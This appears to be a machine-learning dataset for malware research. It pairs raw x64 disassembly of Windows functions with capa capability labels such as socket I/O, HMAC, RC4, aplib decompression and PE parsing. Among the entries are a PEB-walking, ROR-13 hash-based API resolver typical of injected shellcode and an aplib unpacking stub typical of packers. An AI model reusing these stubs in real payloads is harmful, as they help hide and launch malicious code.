joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400ca7e0
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x1400ca988
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x1400ca845
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1400ca845
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1400ca845
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x1400ca87c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x1400ca8d2
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400ca8d2
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400ca8d2
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400ca8d2
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400ca8d2
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.1400ca290
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400ca934
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400a69f0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.1400ca660
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400ca980
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400a69f0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400cc0f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1401757a8]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x1400cc185
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1400cc1e6
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.1400a69f0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400df460
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1400cc2a1
sub ecx, 1
je 0x1400cc314
sub ecx, 1
je 0x1400cc250
cmp ecx, 1
je 0x1400cc233
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400e693c]
call fcn.1400a69f0
jmp 0x1400cc314
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400cbe20
test eax, eax
je 0x1400cc314
jmp 0x1400cc1ba
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400cc314
sub rax, rsi
cmp rax, rbp
jae 0x1400cc314
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.1400a6b70
jmp 0x1400cc314
cmp r8d, 4
jle 0x1400cc314
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1400cc314
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.1400a6910
mov esi, eax
test eax, eax
je 0x1400cc2f3
mov edx, 5
mov rcx, rbx
call fcn.1400ccde0
mov eax, esi
jmp 0x1400cc1ba
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.1400b5210
mov rcx, r14
call fcn.1400b54f0
test eax, eax
je 0x1400cc1b8
mov edx, 5
mov rcx, rbx
call fcn.1400ccde0
mov eax, Ordinal_46
jmp 0x1400cc1ba
Function at 0x1400df0b0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400df0f2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400df139
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400df192
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400df150
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400df1d3
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14014bab2]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14014bab3]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400df1a0
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400e02f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400e033a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400e033a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400e033a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400e033a
cmp dword [rcx + 0x84], 0xe
jbe 0x1400e033a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400e033c
xor al, al
add rsp, 0x28
ret
Function at 0x1400e10f8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400e117c
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x1400e117c
dec r8
sub rdx, 1
jne 0x1400e1162
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1408e2058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1408e21df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1408e2089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1408e206f
add dl, dl
jne 0x1408e2096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1408e20f6
xor eax, eax
add dl, dl
jne 0x1408e20a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1408e21ad
add dl, dl
jne 0x1408e20b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408e20c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408e20d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408e20dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1408e20ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1408e207e
mov eax, 1
add dl, dl
jne 0x1408e2106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408e2113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1408e20fb
sub eax, ebx
mov ebx, 1
jne 0x1408e214c
mov ecx, 1
add dl, dl
jne 0x1408e212e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1408e213b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1408e2123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1408e207e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1408e2168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1408e2175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1408e215d
cmp eax, 0x7d00
jae 0x1408e219b
cmp eax, 0x500
jb 0x1408e2196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1408e207e
cmp eax, 0x7f
ja 0x1408e219e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1408e207e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1408e21d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1408e207e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001320
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r14
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor r14d, r14d
xor eax, eax
lock cmpxchg qword [0x140003638], rbx
je 0x140001372
cmp rax, rbx
jne 0x140001365
mov ebx, 1
mov r14d, ebx
jmp 0x140001377
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x140001349
mov ebx, 1
mov eax, dword [0x140003640]
cmp eax, ebx
jne 0x14000138d
mov ecx, 0x1f
call fcn.140126000
jmp 0x1400013f6
mov eax, dword [0x140003640]
test eax, eax
jne 0x1400013f0
mov dword [0x140003640], ebx
lea r12, [0x1400021a8]
lea rdi, [0x140002190]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r12
jae 0x1400013e2
test eax, eax
jne 0x1400013e6
mov rsi, qword [rdi]
test rsi, rsi
je 0x1400013d7
mov rcx, rsi
mov rax, qword [0x140002168]
call rax
call rsi
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x1400013b4
test eax, eax
je 0x1400013f6
mov eax, 0xff
jmp 0x1400014d7
mov dword [0x140003044], ebx
mov eax, dword [0x140003640]
cmp eax, ebx
jne 0x14000141d
lea rdx, [0x140002188]
lea rcx, [0x140002178]
call sub.msvcrt.dll__initterm
mov dword [0x140003640], 2
test r14d, r14d
jne 0x14000142b
xor eax, eax
xchg qword [0x140003638], rax
cmp qword [0x140003648], 0
je 0x140001463
lea rcx, [0x140003648]
call fcn.1400016d0
test eax, eax
je 0x140001463
mov rbx, qword [0x140003648]
mov rcx, rbx
mov rax, qword [0x140002168]
call rax
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call rbx
mov r8, qword [0x140003058]
mov rdx, qword [0x140003050]
mov ecx, dword [0x140003048]
call fcn.1400011c4
mov dword [0x140003040], eax
cmp dword [0x140003060], 0
jne 0x140001493
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140003044], 0
jne 0x1400014a8
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x140003040]
jmp 0x1400014d7
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov r12, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
sub rsp, 0x28
call fcn.140001764
add rsp, 0x28
jmp 0x140001320

Function at 0x1400015cc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001618
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140001610
cmp dword [rcx + 0x3c], edx
jl 0x140001610
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140001610
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140001618
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
push rcx
push rsi
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
xor r9, r9
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov r8d, dword [rax + 0x20]
push rax
add r8, rdx
mov ecx, dword [rax + 0x18]
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140001680
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x1400ea894
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rdx
lea r9, [0x140188508]
mov edi, ecx
lea rdx, str.FlsSetValue
mov ecx, 7
lea r8, [0x140188500]
call fcn.1400ea008
mov rsi, rax
test rax, rax
je 0x1400ea8e0
mov rcx, rax
call fcn.1400093b0
mov rdx, rbx
mov ecx, edi
call rsi
jmp 0x1400ea8eb
mov rdx, rbx
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140001750
Capabilities:
Query environment variable

Disassembly:
jmp 0x1401407a8
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor r14d, r14d
mov rbx, rax
test rax, rax
je 0x14014087c
mov rsi, rax
cmp word [rax], r14w
je 0x1401407fb
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], r14w
jne 0x1401407e3
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], r14w
jne 0x1401407df
mov qword [rsp + 0x38], r14
sub rsi, rbx
mov qword [rsp + 0x30], r14
add rsi, 2
sar rsi, 1
mov r8, rbx
mov r9d, esi
mov dword [rsp + 0x28], r14d
xor edx, edx
mov qword [rsp + 0x20], r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbp, eax
test eax, eax
je 0x14014087c
mov rcx, rbp
call fcn.140006310
mov rdi, rax
test rax, rax
je 0x14014086f
mov qword [rsp + 0x38], r14
mov r9d, esi
mov qword [rsp + 0x30], r14
mov r8, rbx
mov dword [rsp + 0x28], ebp
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x14014086f
mov rsi, rdi
mov rdi, r14
jmp 0x140140872
mov rsi, r14
mov rcx, rdi
call fcn.140012570
jmp 0x14014087f
mov rsi, r14
test rbx, rbx
je 0x14014088d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rbx, qword [rsp + 0x50]
mov rax, rsi
mov rsi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140002560
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x1400ea828
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ebx, ecx
lea r9, [0x1401884f8]
mov ecx, 6
lea r8, [0x1401884f0]
lea rdx, str.FlsGetValue
call fcn.1400ea008
mov rdi, rax
test rax, rax
je 0x1400ea869
mov rcx, rax
call fcn.1400093b0
mov ecx, ebx
call rdi
jmp 0x1400ea871
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140004a60
Capabilities:
Query environment variable

Disassembly:
jmp 0x1401408ec
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
je 0x14014096b
jmp 0x140140927
or rcx, 0xffffffffffffffff
inc rcx
cmp word [rax + rcx*2], si
jne 0x140140916
lea rax, [rax + rcx*2]
add rax, 2
cmp word [rax], si
jne 0x140140912
sub rax, rbx
add rax, 2
sar rax, 1
lea rbp, [rax + rax]
mov rcx, rbp
call fcn.140006310
mov rdi, rax
test rax, rax
je 0x14014095b
mov r8, rbp
mov rdx, rbx
mov rcx, rax
call fcn.14000bea0
mov rsi, rdi
xor ecx, ecx
call fcn.140012570
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rbx, qword [rsp + 0x30]
mov rax, rsi
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140005120
Capabilities:
Enumerate pe sections

Disassembly:
jmp 0x140150fc0
movsxd r8, dword [rcx + 0x3c]
xor r9d, r9d
add r8, rcx
mov r10, rdx
movzx eax, word [r8 + 0x14]
movzx r11d, word [r8 + 6]
add rax, 0x18
add rax, r8
test r11d, r11d
je 0x140151001
mov edx, dword [rax + 0xc]
cmp r10, rdx
jb 0x140150ff5
mov ecx, dword [rax + 8]
add ecx, edx
cmp r10, rcx
jb 0x140151003
inc r9d
add rax, 0x28
cmp r9d, r11d
jb 0x140150fe3
xor eax, eax
ret

Function at 0x140005590
Capabilities:
Get geographical location

Disassembly:
jmp 0x140134450
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov ebx, r9d
mov rdi, r8
mov esi, edx
lea r9, [0x14018eb48]
mov rbp, rcx
lea r8, [0x14018eb40]
lea rdx, str.GetLocaleInfoEx
mov ecx, 0xb
call fcn.14013385c
mov rcx, rbp
test rax, rax
je 0x1401344a6
mov r9d, ebx
mov r8, rdi
mov edx, esi
call qword [0x1401df010]
jmp 0x1401344bd
xor edx, edx
call fcn.140009a00
mov ecx, eax
mov r9d, ebx
mov r8, rdi
mov edx, esi
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x140006170
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x1401170b0
sub rsp, 0x58
mov rax, qword [0x1401c70a0]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov r8, rdx
mov eax, r9d
mov r10, rcx
cmp rax, 0x20
lea r11d, [r9 + 1]
jae 0x14011714a
mov byte [rsp + rax + 0x20], r9b
add rax, r11
cmp rax, 0x20
jl 0x1401170d7
mov al, byte [rdx]
jmp 0x14011710a
movzx edx, al
shr rdx, 3
movzx eax, al
and eax, 7
movzx ecx, byte [rsp + rdx + 0x20]
bts ecx, eax
add r8, r11
mov byte [rsp + rdx + 0x20], cl
mov al, byte [r8]
test al, al
jne 0x1401170eb
or byte [rsp + 0x20], r11b
jmp 0x14011711b
add r9d, r11d
add r10, r11
movzx r8d, byte [r10]
mov edx, r11d
mov ecx, r8d
shr r8, 3
and ecx, 7
shl edx, cl
test byte [rsp + r8 + 0x20], dl
je 0x140117115
movsxd rax, r9d
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140011080
add rsp, 0x58
ret
call fcn.140005e50
int3
Function at 0x1400061d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x14014ddf8
sub rsp, 0x58
mov rax, qword [0x1401c70a0]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor eax, eax
mov r9, rdx
cmp rax, 0x20
mov r8, rcx
jae 0x14014de90
mov byte [rsp + rax + 0x20], 0
inc rax
cmp rax, 0x20
jl 0x14014de17
mov al, byte [rdx]
jmp 0x14014de4a
movzx edx, al
shr rdx, 3
movzx eax, al
and eax, 7
movzx ecx, byte [rsp + rdx + 0x20]
bts ecx, eax
inc r9
mov byte [rsp + rdx + 0x20], cl
mov al, byte [r9]
test al, al
jne 0x14014de2b
jmp 0x14014de6f
movzx eax, r9b
mov edx, 1
movzx ecx, r9b
and ecx, 7
shr rax, 3
shl edx, cl
test byte [rsp + rax + 0x20], dl
jne 0x14014de8b
inc r8
mov r9b, byte [r8]
test r9b, r9b
jne 0x14014de50
xor eax, eax
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140011080
add rsp, 0x58
ret
mov rax, r8
jmp 0x14014de79
call fcn.140005e50
int3
Function at 0x140007930
Capabilities:
Clear file content

Disassembly:
jmp 0x14014fb14
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov ebp, 1
mov r8d, ebp
xor edx, edx
mov esi, ecx
call fcn.1400140a0
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x14014fb55
call fcn.14000a780
mov eax, dword [rax]
jmp 0x14014fbfb
xor edx, edx
mov ecx, esi
lea r8d, [rdx + 2]
call fcn.1400140a0
cmp rax, 0xffffffffffffffff
je 0x14014fb49
mov rdi, rbx
sub rdi, rax
test rdi, rdi
jle 0x14014fc3c
mov r15d, 0x1000
mov rdx, rbp
mov ecx, r15d
call fcn.14000d390
mov rbx, rax
test rax, rax
jne 0x14014fba0
call fcn.14000a780
mov dword [rax], 0xc
jmp 0x14014fc29
mov edx, 0x8000
mov ecx, esi
call fcn.1400052c0
mov ebp, eax
mov r8d, edi
cmp rdi, r15
mov rdx, rbx
mov ecx, esi
cmovge r8d, r15d
call fcn.140007ff0
cmp eax, 0xffffffff
je 0x14014fc14
cdqe
sub rdi, rax
test rdi, rdi
jg 0x14014fbae
mov edx, ebp
mov ecx, esi
call fcn.1400052c0
mov rcx, rbx
call fcn.140012570
xor r8d, r8d
mov rdx, r14
mov ecx, esi
call fcn.1400140a0
cmp rax, 0xffffffffffffffff
je 0x14014fb49
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
call fcn.1400115d0
cmp dword [rax], 5
jne 0x14014fc29
call fcn.14000a780
mov dword [rax], 0xd
call fcn.14000a780
mov rcx, rbx
mov edi, dword [rax]
call fcn.140012570
mov eax, edi
jmp 0x14014fbfb
jns 0x14014fbe2
xor r8d, r8d
mov rdx, rbx
mov ecx, esi
call fcn.1400140a0
cmp rax, 0xffffffffffffffff
je 0x14014fb49
mov ecx, esi
call fcn.140007a40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14014fbe2
call fcn.14000a780
mov dword [rax], 0xd
call fcn.1400115d0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbx], eax
jmp 0x14014fb49
Function at 0x1400087a0
Capabilities:
Parse pe header

Disassembly:
jmp 0x140151080
mov rax, rcx
mov ecx, 0x5a4d
cmp word [rax], cx
je 0x140151090
xor eax, eax
ret
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
xor eax, eax
cmp dword [rcx], 0x4550
jne 0x1401510ad
mov edx, 0x20b
cmp word [rcx + 0x18], dx
sete al
ret

Function at 0x140008d40
Capabilities:
Get geographical location

Disassembly:
jmp 0x1400b6c8c
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
